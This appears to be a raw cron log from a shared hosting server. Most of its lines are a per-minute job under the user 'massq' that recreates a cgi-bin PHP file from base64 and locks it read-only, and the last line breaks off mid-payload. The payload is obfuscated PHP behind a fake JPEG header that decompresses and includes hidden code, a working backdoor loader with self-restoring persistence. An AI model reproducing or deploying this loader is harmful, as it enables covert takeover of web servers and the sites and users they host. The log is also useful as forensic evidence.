Apr 12 15:59:01 server CROND[18017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:00:01 server CROND[18076]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 16:00:01 server CROND[18083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:00:01 server CROND[18082]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 16:00:01 server CROND[18084]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 16:00:01 server CROND[18086]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 12 16:01:01 server CROND[18222]: (root) CMD (run-parts /etc/cron.hourly)
Apr 12 16:01:01 server CROND[18223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:01:01 server run-parts(/etc/cron.hourly)[18222]: starting 0anacron
Apr 12 16:01:01 server run-parts(/etc/cron.hourly)[18236]: finished 0anacron
Apr 12 16:02:01 server CROND[18377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:03:01 server CROND[18438]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:04:01 server CROND[18487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:05:01 server CROND[18553]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 16:05:01 server CROND[18555]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 16:05:01 server CROND[18554]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:05:01 server CROND[18556]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 16:06:01 server CROND[18672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:07:01 server CROND[18814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:08:01 server CROND[18865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:09:01 server CROND[18923]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:09:01 server CROND[18924]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 16:10:01 server CROND[18978]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 16:10:01 server CROND[18979]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 16:10:01 server CROND[18980]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 16:10:01 server CROND[18981]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:11:01 server CROND[19087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:12:01 server CROND[19229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV